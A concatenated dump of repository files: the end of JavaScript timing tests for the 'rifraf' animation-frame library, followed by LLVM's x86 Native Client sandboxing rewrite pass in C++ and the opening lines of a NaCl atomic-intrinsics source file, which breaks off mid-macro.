t.ok((item.time - start) > 5 * 16, 'should take at least 5 (80ms) frames of clock time; actual: ' + (item.time - start).toFixed(3));
t.ok(set.every(function (item, index) {
var next = set[index + 1];
if (next) {
return item.time < next.time;
}
return true;
}), 'callbacks executed in order');
t.end();
return;
}
rifraf.request(tick);
}
rifraf.request(function () {
start = performance.now();
rifraf.request(tick);
});
});
test('#delay allows syncing to <60fps frame rates', function (t) {
t.plan(7);
var set = get7();
var i = 0;
var start;
rifraf.sync30Hz();
function tick(dt) {
var prev = set[i-1];
var item = set[i++];
item.time = performance.now();
if (prev && i > 2) t.ok((item.time - start) >= 0, 'time has passed: ' + (item.time - prev.time).toFixed(3));
if (item.index === 6) {
start = set[1].time;
t.ok((item.time - start) > 5 * 33, 'should take at least 5 (160ms) frames of clock time; actual: ' + (item.time - start).toFixed(3));
t.ok(set.every(function (item, index) {
var next = set[index + 1];
if (next) {
return item.time < next.time;
}
return true;
}), 'callbacks executed in order');
t.end();
return;
}
rifraf.delay(tick);
}
rifraf.request(function () {
start = performance.now();
rifraf.delay(tick);
});
});
} else {
test('request defers approximately 8ms by default', function (t) {
t.plan(2);
var set = get7();
var i = 0;
var start = now();
function tick() {
var item = set[i++];
item.time = now();
if (item.index === 6) {
start = set[1].time;
t.ok((item.time - start) > 5 * 8, 'total time > 5 * 8ms; actual(' + (item.time - start).toFixed(3) + ')');
t.ok(set.every(function (item, index) {
var next = set[index + 1];
if (next) {
return item.time < next.time;
}
return true;
}), 'callbacks executed in order');
t.end();
return;
}
rifraf.request(tick);
}
rifraf.request(tick);
});
test('request defers approximately 16ms when sync60Hz is called', function (t) {
rifraf.sync60Hz();
t.plan(2);
var set = get7();
var i = 0;
var start = now();
function tick() {
var item = set[i++];
item.time = now();
if (item.index === 6) {
start = set[1].time
t.ok((item.time - start) > 5 * 16, 'total time > 5 * 16ms; actual(' + (item.time - start).toFixed(3) + ')');
t.ok(set.every(function (item, index) {
var next = set[index + 1];
if (next) {
return item.time < next.time;
}
return true;
}), 'callbacks executed in order');
t.end();
return;
}
rifraf.request(tick);
}
rifraf.request(tick);
});
test('request defers approximately 33ms when sync30Hz is called', function (t) {
rifraf.sync30Hz();
t.plan(2);
var set = get7();
var i = 0;
var start = now();
function tick() {
var item = set[i++];
item.time = now();
if (item.index === 6) {
start = set[1].time;
t.ok((item.time - start) > 5 * 33, 'total time > 5 * 33ms; actual(' + (item.time - start).toFixed(3) + ')');
t.ok(set.every(function (item, index) {
var next = set[index + 1];
if (next) {
return item.time < next.time;
}
return true;
}), 'callbacks executed in order');
t.end();
return;
}
rifraf.request(tick);
}
rifraf.request(tick);
});
}
test('callbacks can be cancelled', function (t) {
function one() { one.called = true; }
function two() { two.called = true; }
function three() { three.called = true; }
one.handle = rifraf.request(one);
two.handle = rifraf.request(two);
three.handle = rifraf.request(three);
t.ok([one, two, three].every(function (fn) {
return fn.handle;
}), 'rifraf.request returns a handle');
rifraf.cancel(two.handle);
rifraf.request(function () {
t.ok(one.called, 'callback one was called');
t.notOk(two.called, 'callback two was not called');
t.ok(three.called, 'callback three was called');
t.end();
});
});
|
5109bf05489d71e826d66c21cd6deb338867d37f
|
[
"Markdown",
"JavaScript"
] | 3
|
Markdown
|
aaronmccall/rifraf
|
2ddd66401c50e5bc23f9ea502bdb5714a802c575
|
7e76db7f7e6026ac3a7cf037ebe8d86a5e17950c
|
refs/heads/master
|
<repo_name>shravanrn/nacl-llvm<file_sep>/lib/Target/X86/X86NaClRewritePass.cpp
//=== X86NaClRewritePAss.cpp - Rewrite instructions for NaCl SFI --*- C++ -*-=//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file contains a pass that ensures stores and loads and stack/frame
// pointer addresses are within the NaCl sandbox (for x86-64).
// It also ensures that indirect control flow follows NaCl requirments.
//
// The other major portion of rewriting for NaCl is done in X86InstrNaCl.cpp,
// which is responsible for expanding the NaCl-specific operations introduced
// here and also the intrinsic functions to support setjmp, etc.
//===----------------------------------------------------------------------===//
#define DEBUG_TYPE "x86-sandboxing"
#include "X86.h"
#include "X86InstrInfo.h"
#include "X86NaClDecls.h"
#include "X86Subtarget.h"
#include "llvm/CodeGen/MachineFunctionPass.h"
#include "llvm/CodeGen/MachineInstr.h"
#include "llvm/CodeGen/MachineInstrBuilder.h"
#include "llvm/CodeGen/MachineJumpTableInfo.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/FormattedStream.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/Support/CommandLine.h"
using namespace llvm;
cl::opt<bool> FlagRestrictR15("sfi-restrict-r15",
cl::desc("Restrict use of %r15. This flag can"
" be turned off for the zero-based"
" sandbox model."),
cl::init(true));
namespace {
class X86NaClRewritePass : public MachineFunctionPass {
public:
static char ID;
X86NaClRewritePass() : MachineFunctionPass(ID) {}
virtual bool runOnMachineFunction(MachineFunction &Fn);
virtual const char *getPassName() const {
return "NaCl Rewrites";
}
private:
const TargetMachine *TM;
const TargetInstrInfo *TII;
const TargetRegisterInfo *TRI;
const X86Subtarget *Subtarget;
bool Is64Bit;
bool runOnMachineBasicBlock(MachineBasicBlock &MBB);
void TraceLog(const char *func,
const MachineBasicBlock &MBB,
const MachineBasicBlock::iterator MBBI) const;
bool ApplyRewrites(MachineBasicBlock &MBB,
MachineBasicBlock::iterator MBBI);
bool ApplyStackSFI(MachineBasicBlock &MBB,
MachineBasicBlock::iterator MBBI);
bool ApplyMemorySFI(MachineBasicBlock &MBB,
MachineBasicBlock::iterator MBBI);
bool ApplyFrameSFI(MachineBasicBlock &MBB,
MachineBasicBlock::iterator MBBI);
bool ApplyControlSFI(MachineBasicBlock &MBB,
MachineBasicBlock::iterator MBBI);
bool AlignJumpTableTargets(MachineFunction &MF);
};
char X86NaClRewritePass::ID = 0;
}
static void DumpInstructionVerbose(const MachineInstr &MI) {
DEBUG({
dbgs() << MI;
dbgs() << MI.getNumOperands() << " operands:" << "\n";
for (unsigned i = 0; i < MI.getNumOperands(); ++i) {
const MachineOperand& op = MI.getOperand(i);
dbgs() << " " << i << "(" << (unsigned)op.getType() << "):" << op
<< "\n";
}
dbgs() << "\n";
});
}
static bool IsPushPop(MachineInstr &MI) {
const unsigned Opcode = MI.getOpcode();
switch (Opcode) {
default:
return false;
case X86::PUSH64r:
case X86::POP64r:
return true;
}
}
static bool IsStore(MachineInstr &MI) {
return MI.mayStore();
}
static bool IsLoad(MachineInstr &MI) {
return MI.mayLoad();
}
static bool IsFrameChange(MachineInstr &MI, const TargetRegisterInfo *TRI) {
return MI.modifiesRegister(X86::EBP, TRI);
}
static bool IsStackChange(MachineInstr &MI, const TargetRegisterInfo *TRI) {
return MI.modifiesRegister(X86::ESP, TRI);
}
static bool HasControlFlow(const MachineInstr &MI) {
return MI.getDesc().isBranch() ||
MI.getDesc().isCall() ||
MI.getDesc().isReturn() ||
MI.getDesc().isTerminator() ||
MI.getDesc().isBarrier();
}
static bool IsDirectBranch(const MachineInstr &MI) {
return MI.getDesc().isBranch() &&
!MI.getDesc().isIndirectBranch();
}
static bool IsRegAbsolute(unsigned Reg) {
const bool RestrictR15 = FlagRestrictR15;
assert(FlagUseZeroBasedSandbox || RestrictR15);
return (Reg == X86::RSP || Reg == X86::RBP ||
(Reg == X86::R15 && RestrictR15));
}
static bool FindMemoryOperand(const MachineInstr &MI,
SmallVectorImpl<unsigned>* indices) {
int NumFound = 0;
for (unsigned i = 0; i < MI.getNumOperands(); ) {
if (isMem(&MI, i)) {
NumFound++;
indices->push_back(i);
i += X86::AddrNumOperands;
} else {
i++;
}
}
// Intrinsics and other functions can have mayLoad and mayStore to reflect
// the side effects of those functions. This function is used to find
// explicit memory references in the instruction, of which there are none.
if (NumFound == 0)
return false;
return true;
}
static unsigned PromoteRegTo64(unsigned RegIn) {
if (RegIn == 0)
return 0;
unsigned RegOut = getX86SubSuperRegister(RegIn, MVT::i64, false);
assert(RegOut != 0);
return RegOut;
}
static unsigned DemoteRegTo32(unsigned RegIn) {
if (RegIn == 0)
return 0;
unsigned RegOut = getX86SubSuperRegister(RegIn, MVT::i32, false);
assert(RegOut != 0);
return RegOut;
}
//
// True if this MI restores RSP from RBP with a slight adjustment offset.
//
static bool MatchesSPAdj(const MachineInstr &MI) {
assert (MI.getOpcode() == X86::LEA64r && "Call to MatchesSPAdj w/ non LEA");
const MachineOperand &DestReg = MI.getOperand(0);
const MachineOperand &BaseReg = MI.getOperand(1);
const MachineOperand &Scale = MI.getOperand(2);
const MachineOperand &IndexReg = MI.getOperand(3);
const MachineOperand &Offset = MI.getOperand(4);
return (DestReg.isReg() && DestReg.getReg() == X86::RSP &&
BaseReg.isReg() && BaseReg.getReg() == X86::RBP &&
Scale.getImm() == 1 &&
IndexReg.isReg() && IndexReg.getReg() == 0 &&
Offset.isImm());
}
void
X86NaClRewritePass::TraceLog(const char *func,
const MachineBasicBlock &MBB,
const MachineBasicBlock::iterator MBBI) const {
DEBUG(dbgs() << "@" << func
<< "(" << MBB.getName() << ", " << (*MBBI) << ")\n");
}
bool X86NaClRewritePass::ApplyStackSFI(MachineBasicBlock &MBB,
MachineBasicBlock::iterator MBBI) {
TraceLog("ApplyStackSFI", MBB, MBBI);
assert(Is64Bit);
MachineInstr &MI = *MBBI;
if (!IsStackChange(MI, TRI))
return false;
if (IsPushPop(MI))
return false;
if (MI.getDesc().isCall())
return false;
unsigned Opc = MI.getOpcode();
DebugLoc DL = MI.getDebugLoc();
unsigned DestReg = MI.getOperand(0).getReg();
assert(DestReg == X86::ESP || DestReg == X86::RSP);
unsigned NewOpc = 0;
switch (Opc) {
case X86::ADD64ri8 : NewOpc = X86::NACL_ASPi8; break;
case X86::ADD64ri32: NewOpc = X86::NACL_ASPi32; break;
case X86::SUB64ri8 : NewOpc = X86::NACL_SSPi8; break;
case X86::SUB64ri32: NewOpc = X86::NACL_SSPi32; break;
case X86::AND64ri8 : NewOpc = X86::NACL_ANDSPi8; break;
case X86::AND64ri32: NewOpc = X86::NACL_ANDSPi32; break;
}
if (NewOpc) {
BuildMI(MBB, MBBI, DL, TII->get(NewOpc))
.addImm(MI.getOperand(2).getImm())
.addReg(FlagUseZeroBasedSandbox ? 0 : X86::R15);
MI.eraseFromParent();
return true;
}
// Promote "MOV ESP, EBP" to a 64-bit move
if (Opc == X86::MOV32rr && MI.getOperand(1).getReg() == X86::EBP) {
MI.getOperand(0).setReg(X86::RSP);
MI.getOperand(1).setReg(X86::RBP);
MI.setDesc(TII->get(X86::MOV64rr));
Opc = X86::MOV64rr;
}
// "MOV RBP, RSP" is already safe
if (Opc == X86::MOV64rr && MI.getOperand(1).getReg() == X86::RBP) {
return true;
}
assert(Opc != X86::LEA32r && "Invalid opcode in 64-bit mode!");
if (Opc == X86::LEA64_32r){
unsigned BaseReg = MI.getOperand(1).getReg();
if (BaseReg == X86::EBP) {
// leal N(%ebp), %esp can be promoted to leaq N(%rbp), %rsp, which
// converts to SPAJDi32 below.
unsigned DestReg = MI.getOperand(0).getReg();
unsigned Scale = MI.getOperand(2).getImm();
unsigned IndexReg = MI.getOperand(3).getReg();
assert(DestReg == X86::ESP);
assert(Scale == 1);
assert(BaseReg == X86::EBP);
assert(IndexReg == 0);
MI.getOperand(0).setReg(X86::RSP);
MI.getOperand(1).setReg(X86::RBP);
MI.setDesc(TII->get(X86::LEA64r));
Opc = X86::LEA64r;
} else {
// Create a MachineInstr bundle (i.e. a bundle-locked group) and fix up
// the stack pointer by adding R15. TODO(dschuff): generalize this for
// other uses if needed, and try to replace some pseudos if
// possible. Eventually replace with auto-sandboxing.
auto NextMBBI = MBBI;
++NextMBBI;
BuildMI(MBB, NextMBBI, MBBI->getDebugLoc(),
TII->get(X86::ADD64rr), X86::RSP)
.addReg(X86::RSP).addReg(X86::R15);
MIBundleBuilder(MBB, MBBI, NextMBBI);
finalizeBundle(MBB, MBBI.getInstrIterator());
return true;
}
}
if (Opc == X86::LEA64r && MatchesSPAdj(MI)) {
const MachineOperand &Offset = MI.getOperand(4);
BuildMI(MBB, MBBI, DL, TII->get(X86::NACL_SPADJi32))
.addImm(Offset.getImm())
.addReg(FlagUseZeroBasedSandbox ? 0 : X86::R15);
MI.eraseFromParent();
return true;
}
if (Opc == X86::MOV32rr || Opc == X86::MOV64rr) {
BuildMI(MBB, MBBI, DL, TII->get(X86::NACL_RESTSPr))
.addReg(DemoteRegTo32(MI.getOperand(1).getReg()))
.addReg(FlagUseZeroBasedSandbox ? 0 : X86::R15);
MI.eraseFromParent();
return true;
}
if (Opc == X86::MOV32rm) {
BuildMI(MBB, MBBI, DL, TII->get(X86::NACL_RESTSPm))
.addOperand(MI.getOperand(1)) // Base
.addOperand(MI.getOperand(2)) // Scale
.addOperand(MI.getOperand(3)) // Index
.addOperand(MI.getOperand(4)) // Offset
.addOperand(MI.getOperand(5)) // Segment
.addReg(FlagUseZeroBasedSandbox ? 0 : X86::R15);
MI.eraseFromParent();
return true;
}
DEBUG(DumpInstructionVerbose(MI));
llvm_unreachable("Unhandled Stack SFI");
}
bool X86NaClRewritePass::ApplyFrameSFI(MachineBasicBlock &MBB,
MachineBasicBlock::iterator MBBI) {
TraceLog("ApplyFrameSFI", MBB, MBBI);
assert(Is64Bit);
MachineInstr &MI = *MBBI;
if (!IsFrameChange(MI, TRI))
return false;
unsigned Opc = MI.getOpcode();
DebugLoc DL = MI.getDebugLoc();
// Handle moves to RBP
if (Opc == X86::MOV64rr) {
assert(MI.getOperand(0).getReg() == X86::RBP);
unsigned SrcReg = MI.getOperand(1).getReg();
// MOV RBP, RSP is already safe
if (SrcReg == X86::RSP)
return false;
// Rewrite: mov %rbp, %rX
// To: naclrestbp %eX, %rZP
BuildMI(MBB, MBBI, DL, TII->get(X86::NACL_RESTBPr))
.addReg(DemoteRegTo32(SrcReg))
.addReg(FlagUseZeroBasedSandbox ? 0 : X86::R15); // rZP
MI.eraseFromParent();
return true;
}
// Handle memory moves to RBP
if (Opc == X86::MOV64rm) {
assert(MI.getOperand(0).getReg() == X86::RBP);
// Zero-based sandbox model uses address clipping
if (FlagUseZeroBasedSandbox)
return false;
// Rewrite: mov %rbp, (...)
// To: naclrestbp (...), %rZP
BuildMI(MBB, MBBI, DL, TII->get(X86::NACL_RESTBPm))
.addOperand(MI.getOperand(1)) // Base
.addOperand(MI.getOperand(2)) // Scale
.addOperand(MI.getOperand(3)) // Index
.addOperand(MI.getOperand(4)) // Offset
.addOperand(MI.getOperand(5)) // Segment
.addReg(FlagUseZeroBasedSandbox ? 0 : X86::R15); // rZP
MI.eraseFromParent();
return true;
}
// Popping onto RBP
// Rewrite to:
// naclrestbp (%rsp), %rZP
// naclasp $8, %rZP
//
// TODO(pdox): Consider rewriting to this instead:
// .bundle_lock
// pop %rbp
// mov %ebp,%ebp
// add %rZP, %rbp
// .bundle_unlock
if (Opc == X86::POP64r) {
assert(MI.getOperand(0).getReg() == X86::RBP);
BuildMI(MBB, MBBI, DL, TII->get(X86::NACL_RESTBPm))
.addReg(X86::RSP) // Base
.addImm(1) // Scale
.addReg(0) // Index
.addImm(0) // Offset
.addReg(0) // Segment
.addReg(FlagUseZeroBasedSandbox ? 0 : X86::R15); // rZP
BuildMI(MBB, MBBI, DL, TII->get(X86::NACL_ASPi8))
.addImm(8)
.addReg(FlagUseZeroBasedSandbox ? 0 : X86::R15);
MI.eraseFromParent();
return true;
}
DEBUG(DumpInstructionVerbose(MI));
llvm_unreachable("Unhandled Frame SFI");
}
bool X86NaClRewritePass::ApplyControlSFI(MachineBasicBlock &MBB,
MachineBasicBlock::iterator MBBI) {
const bool HideSandboxBase = (FlagHideSandboxBase &&
Is64Bit && !FlagUseZeroBasedSandbox);
TraceLog("ApplyControlSFI", MBB, MBBI);
MachineInstr &MI = *MBBI;
if (!HasControlFlow(MI))
return false;
// Direct branches are OK
if (IsDirectBranch(MI))
return false;
DebugLoc DL = MI.getDebugLoc();
unsigned Opc = MI.getOpcode();
// Rewrite indirect jump/call instructions
unsigned NewOpc = 0;
unsigned regNum = 0;
switch (Opc) {
// 32-bit
case X86::JMP32r : NewOpc = X86::NACL_JMP32r; break;
case X86::TAILJMPr : NewOpc = X86::NACL_JMP32r; break;
case X86::CALL32r : NewOpc = X86::NACL_CALL32r; break;
// 64-bit
case X86::NACL_CG_JMP64r : NewOpc = X86::NACL_JMP64r; break;
case X86::CALL64r : NewOpc = X86::NACL_CALL64r; break;
case X86::TAILJMPr64 : NewOpc = X86::NACL_JMP64r; break;
case X86::JMP64r : NewOpc = X86::NACL_JMP64r; break;
}
if (NewOpc) {
unsigned TargetReg = MI.getOperand(regNum).getReg();
if (Is64Bit) {
// CALL64r, etc. take a 64-bit register as a target. However, NaCl gas
// expects naclcall/nacljmp pseudos to have 32-bit regs as targets
// so NACL_CALL64r and NACL_JMP64r stick with that as well.
// Demote any 64-bit register to 32-bit to match the expectations.
TargetReg = DemoteRegTo32(TargetReg);
}
MachineInstrBuilder NewMI =
BuildMI(MBB, MBBI, DL, TII->get(NewOpc))
.addReg(TargetReg);
if (Is64Bit) {
NewMI.addReg(FlagUseZeroBasedSandbox ? 0 : X86::R15);
}
MI.eraseFromParent();
return true;
}
// EH_RETURN has a single argment which is not actually used directly.
// The argument gives the location where to reposition the stack pointer
// before returning. EmitPrologue takes care of that repositioning.
// So EH_RETURN just ultimately emits a plain "ret".
// RETI returns and pops some number of bytes from the stack.
if (Opc == X86::RETL || Opc == X86::RETQ ||
Opc == X86::EH_RETURN || Opc == X86::EH_RETURN64 ||
Opc == X86::RETIL || Opc == X86::RETIQ) {
// To maintain compatibility with nacl-as, for now we don't emit naclret.
// MI.setDesc(TII->get(Is64Bit ? X86::NACL_RET64 : X86::NACL_RET32));
//
// For NaCl64 returns, follow the convention of using r11 to hold
// the target of an indirect jump to avoid potentially leaking the
// sandbox base address.
unsigned RegTarget;
if (Is64Bit) {
RegTarget = (HideSandboxBase ? X86::R11 : X86::RCX);
BuildMI(MBB, MBBI, DL, TII->get(X86::POP64r), RegTarget);
if (Opc == X86::RETIL || Opc == X86::RETIQ) {
BuildMI(MBB, MBBI, DL, TII->get(X86::NACL_ASPi32))
.addOperand(MI.getOperand(0))
.addReg(FlagUseZeroBasedSandbox ? 0 : X86::R15);
}
BuildMI(MBB, MBBI, DL, TII->get(X86::NACL_JMP64r))
.addReg(getX86SubSuperRegister(RegTarget, MVT::i32, false))
.addReg(FlagUseZeroBasedSandbox ? 0 : X86::R15);
} else {
RegTarget = X86::ECX;
BuildMI(MBB, MBBI, DL, TII->get(X86::POP32r), RegTarget);
if (Opc == X86::RETIL || Opc == X86::RETIQ) {
BuildMI(MBB, MBBI, DL, TII->get(X86::ADD32ri), X86::ESP)
.addReg(X86::ESP)
.addOperand(MI.getOperand(0));
}
BuildMI(MBB, MBBI, DL, TII->get(X86::NACL_JMP32r))
.addReg(RegTarget);
}
MI.eraseFromParent();
return true;
}
// Traps are OK (but are considered to have control flow
// being a terminator like RET).
if (Opc == X86::TRAP)
return false;
DEBUG(DumpInstructionVerbose(MI));
llvm_unreachable("Unhandled Control SFI");
}
//
// Sandboxes loads and stores (64-bit only)
//
bool X86NaClRewritePass::ApplyMemorySFI(MachineBasicBlock &MBB,
MachineBasicBlock::iterator MBBI) {
TraceLog("ApplyMemorySFI", MBB, MBBI);
assert(Is64Bit);
MachineInstr &MI = *MBBI;
if (!IsLoad(MI) && !IsStore(MI))
return false;
if (IsPushPop(MI))
return false;
SmallVector<unsigned, 2> MemOps;
if (!FindMemoryOperand(MI, &MemOps))
return false;
bool Modified = false;
for (unsigned MemOp : MemOps) {
MachineOperand &BaseReg = MI.getOperand(MemOp + 0);
MachineOperand &Scale = MI.getOperand(MemOp + 1);
MachineOperand &IndexReg = MI.getOperand(MemOp + 2);
//MachineOperand &Disp = MI.getOperand(MemOp + 3);
MachineOperand &SegmentReg = MI.getOperand(MemOp + 4);
// RIP-relative addressing is safe.
if (BaseReg.getReg() == X86::RIP)
continue;
// Make sure the base and index are 64-bit registers.
IndexReg.setReg(PromoteRegTo64(IndexReg.getReg()));
BaseReg.setReg(PromoteRegTo64(BaseReg.getReg()));
assert(IndexReg.getSubReg() == 0);
assert(BaseReg.getSubReg() == 0);
bool AbsoluteBase = IsRegAbsolute(BaseReg.getReg());
bool AbsoluteIndex = IsRegAbsolute(IndexReg.getReg());
unsigned AddrReg = 0;
if (AbsoluteBase && AbsoluteIndex) {
llvm_unreachable("Unexpected absolute register pair");
} else if (AbsoluteBase) {
AddrReg = IndexReg.getReg();
} else if (AbsoluteIndex) {
assert(!BaseReg.getReg() && "Unexpected base register");
assert(Scale.getImm() == 1);
AddrReg = 0;
} else {
if (!BaseReg.getReg()) {
// No base, fill in relative.
BaseReg.setReg(FlagUseZeroBasedSandbox ? 0 : X86::R15);
AddrReg = IndexReg.getReg();
} else if (!FlagUseZeroBasedSandbox) {
// Switch base and index registers if index register is undefined.
// That is do conversions like "mov d(%r,0,0) -> mov d(%r15, %r, 1)".
assert (!IndexReg.getReg()
&& "Unexpected index and base register");
IndexReg.setReg(BaseReg.getReg());
Scale.setImm(1);
BaseReg.setReg(X86::R15);
AddrReg = IndexReg.getReg();
} else {
llvm_unreachable(
"Unexpected index and base register");
}
}
if (AddrReg) {
assert(!SegmentReg.getReg() && "Unexpected segment register");
SegmentReg.setReg(X86::PSEUDO_NACL_SEG);
Modified = true;
}
}
return Modified;
}
bool X86NaClRewritePass::ApplyRewrites(MachineBasicBlock &MBB,
MachineBasicBlock::iterator MBBI) {
MachineInstr &MI = *MBBI;
DebugLoc DL = MI.getDebugLoc();
unsigned Opc = MI.getOpcode();
// These direct jumps need their opcode rewritten
// and variable operands removed.
unsigned NewOpc = 0;
switch (Opc) {
// 32-bit direct calls are handled unmodified by the assemblers
case X86::CALLpcrel32 : return true;
case X86::TAILJMPd : NewOpc = X86::JMP_4; break;
case X86::NACL_CG_TAILJMPd64 : NewOpc = X86::JMP_4; break;
case X86::NACL_CG_CALL64pcrel32: NewOpc = X86::NACL_CALL64d; break;
//If NACL is using 64 bit pointers, TAILJMPd64 is also chosen
case X86::TAILJMPd64 : NewOpc = X86::JMP_4; break;
}
//If NACL is using 64 bit pointers, NACL_CG_CALL64pcrel32 is not selected for making calls to 64 bit locations
//In this case, the Inst Selection makes this a CALL64register instruction even though it has an immediate op
//We need to fix this
if(Opc == X86::CALL64r &&
MI.getNumOperands() >= 1 &&
(MI.getOperand(0).isGlobal() || MI.getOperand(0).isSymbol())
){
NewOpc = X86::NACL_CALL64d;
}
if (NewOpc) {
BuildMI(MBB, MBBI, DL, TII->get(NewOpc))
.addOperand(MI.getOperand(0));
MI.eraseFromParent();
return true;
}
// General Dynamic NaCl TLS model
// http://code.google.com/p/nativeclient/issues/detail?id=1685
if (Opc == X86::NACL_CG_GD_TLS_addr64 || Opc == X86::NACL_CG_GD_TLS_addr64_sameabi) {
// Rewrite to:
// leaq $sym@TLSGD(%rip), %rdi
// call __tls_get_addr@PLT
BuildMI(MBB, MBBI, DL, TII->get(X86::LEA64r), X86::RDI)
.addReg(X86::RIP) // Base
.addImm(1) // Scale
.addReg(0) // Index
.addGlobalAddress(MI.getOperand(3).getGlobal(), 0,
MI.getOperand(3).getTargetFlags())
.addReg(0); // Segment
BuildMI(MBB, MBBI, DL, TII->get(X86::NACL_CALL64d))
.addExternalSymbol("__tls_get_addr", X86II::MO_PLT);
MI.eraseFromParent();
return true;
}
// Local Exec NaCl TLS Model
if (Opc == X86::NACL_CG_LE_TLS_addr64 ||
Opc == X86::NACL_CG_LE_TLS_addr32 ||
Opc == X86::NACL_CG_LE_TLS_addr64_sameabi) {
unsigned CallOpc, LeaOpc, Reg;
// Rewrite to:
// call __nacl_read_tp@PLT
// lea $sym@flag(,%reg), %reg
if (Opc == X86::NACL_CG_LE_TLS_addr64 || Opc == X86::NACL_CG_LE_TLS_addr64_sameabi) {
CallOpc = X86::NACL_CALL64d;
LeaOpc = X86::LEA64r;
Reg = X86::RAX;
} else {
CallOpc = X86::CALLpcrel32;
LeaOpc = X86::LEA32r;
Reg = X86::EAX;
}
BuildMI(MBB, MBBI, DL, TII->get(CallOpc))
.addExternalSymbol("__nacl_read_tp", X86II::MO_PLT);
BuildMI(MBB, MBBI, DL, TII->get(LeaOpc), Reg)
.addReg(0) // Base
.addImm(1) // Scale
.addReg(Reg) // Index
.addGlobalAddress(MI.getOperand(3).getGlobal(), 0,
MI.getOperand(3).getTargetFlags())
.addReg(0); // Segment
MI.eraseFromParent();
return true;
}
// Initial Exec NaCl TLS Model
if (Opc == X86::NACL_CG_IE_TLS_addr64 ||
Opc == X86::NACL_CG_IE_TLS_addr32 ||
Opc == X86::NACL_CG_IE_TLS_addr64_sameabi) {
unsigned CallOpc, AddOpc, Base, Reg;
// Rewrite to:
// call __nacl_read_tp@PLT
// addq sym@flag(%base), %reg
if (Opc == X86::NACL_CG_IE_TLS_addr64 || Opc == X86::NACL_CG_IE_TLS_addr64_sameabi) {
CallOpc = X86::NACL_CALL64d;
AddOpc = X86::ADD64rm;
Base = X86::RIP;
Reg = X86::RAX;
} else {
CallOpc = X86::CALLpcrel32;
AddOpc = X86::ADD32rm;
Base = MI.getOperand(3).getTargetFlags() == X86II::MO_INDNTPOFF ?
0 : X86::EBX; // EBX for GOTNTPOFF.
Reg = X86::EAX;
}
BuildMI(MBB, MBBI, DL, TII->get(CallOpc))
.addExternalSymbol("__nacl_read_tp", X86II::MO_PLT);
BuildMI(MBB, MBBI, DL, TII->get(AddOpc), Reg)
.addReg(Reg)
.addReg(Base)
.addImm(1) // Scale
.addReg(0) // Index
.addGlobalAddress(MI.getOperand(3).getGlobal(), 0,
MI.getOperand(3).getTargetFlags())
.addReg(0); // Segment
MI.eraseFromParent();
return true;
}
return false;
}
bool X86NaClRewritePass::AlignJumpTableTargets(MachineFunction &MF) {
bool Modified = true;
MF.setAlignment(5); // log2, 32 = 2^5
MachineJumpTableInfo *JTI = MF.getJumpTableInfo();
if (JTI != NULL) {
const std::vector<MachineJumpTableEntry> &JT = JTI->getJumpTables();
for (unsigned i = 0; i < JT.size(); ++i) {
const std::vector<MachineBasicBlock*> &MBBs = JT[i].MBBs;
for (unsigned j = 0; j < MBBs.size(); ++j) {
MBBs[j]->setAlignment(5);
Modified |= true;
}
}
}
return Modified;
}
bool X86NaClRewritePass::runOnMachineFunction(MachineFunction &MF) {
bool Modified = false;
TM = &MF.getTarget();
TII = MF.getSubtarget().getInstrInfo();
TRI = MF.getSubtarget().getRegisterInfo();
Subtarget = &MF.getSubtarget<X86Subtarget>();
Is64Bit = Subtarget->is64Bit();
assert(Subtarget->isTargetNaCl() && "Unexpected target in NaClRewritePass!");
DEBUG(dbgs() << "*************** NaCl Rewrite Pass ***************\n");
for (MachineFunction::iterator MFI = MF.begin(), E = MF.end();
MFI != E;
++MFI) {
Modified |= runOnMachineBasicBlock(*MFI);
}
Modified |= AlignJumpTableTargets(MF);
DEBUG(dbgs() << "*************** NaCl Rewrite DONE ***************\n");
return Modified;
}
bool X86NaClRewritePass::runOnMachineBasicBlock(MachineBasicBlock &MBB) {
bool Modified = false;
if (MBB.hasAddressTaken()) {
//FIXME: use a symbolic constant or get this value from some configuration
MBB.setAlignment(5);
Modified = true;
}
for (MachineBasicBlock::iterator MBBI = MBB.begin(), NextMBBI = MBBI;
MBBI != MBB.end(); MBBI = NextMBBI) {
++NextMBBI;
// When one of these methods makes a change,
// it returns true, skipping the others.
if (ApplyRewrites(MBB, MBBI) ||
(Is64Bit && ApplyStackSFI(MBB, MBBI)) ||
(Is64Bit && ApplyMemorySFI(MBB, MBBI)) ||
(Is64Bit && ApplyFrameSFI(MBB, MBBI)) ||
ApplyControlSFI(MBB, MBBI)) {
Modified = true;
}
}
return Modified;
}
/// createX86NaClRewritePassPass - returns an instance of the pass.
namespace llvm {
FunctionPass* createX86NaClRewritePass() {
return new X86NaClRewritePass();
}
}
<file_sep>/lib/IR/NaClAtomicIntrinsics.cpp
//=== llvm/IR/NaClAtomicIntrinsics.cpp - NaCl Atomic Intrinsics -*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file describes atomic intrinsic functions that are specific to NaCl.
//
//===----------------------------------------------------------------------===//
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/NaClAtomicIntrinsics.h"
#include "llvm/IR/Type.h"
namespace llvm {
namespace NaCl {
AtomicIntrinsics::AtomicIntrinsics(LLVMContext &C) {
Type *IT[NumAtomicIntrinsicOverloadTypes] = { Type::getInt8Ty(C),
Type::getInt16Ty(C),
Type::getInt32Ty(C),
Type::getInt64Ty(C) };
size_t CurIntrin = 0;
// Initialize each of the atomic intrinsics and their overloads. They
// have up to 5 parameters, the following macro will take care of
// overloading.
#define INIT(P0, P1, P2, P3, P4, INTRIN) \
do { \
for (size_t CurType = 0; CurType != NumAtomicIntrinsicOverloadTypes; \
++CurType) { \
size_t Param = 0; \
I[CurIntrin][CurType].OverloadedType = IT[CurType]; \
I[CurIntrin][CurType].ID = Intrinsic::nacl_atomic_##INTRIN; \
I[CurIntrin][CurType].Overloaded = \
P0 == Int || P0 == Ptr || P1 == Int || P1 == Ptr || P2 == Int || \
P2 == Ptr || P3 == Int || P3 == Ptr || P4 == Int || P4 == Ptr; \
I[CurIntrin][CurType].NumParams = \
(P0 != NoP) + (P1 != NoP) + (P2 != NoP) + (P3 != NoP) + (P4 != NoP); \
I[CurIntrin][CurType].ParamType[Param++] = P0; \
I[CurIntrin][CurType].ParamType[Param++] = P1; \
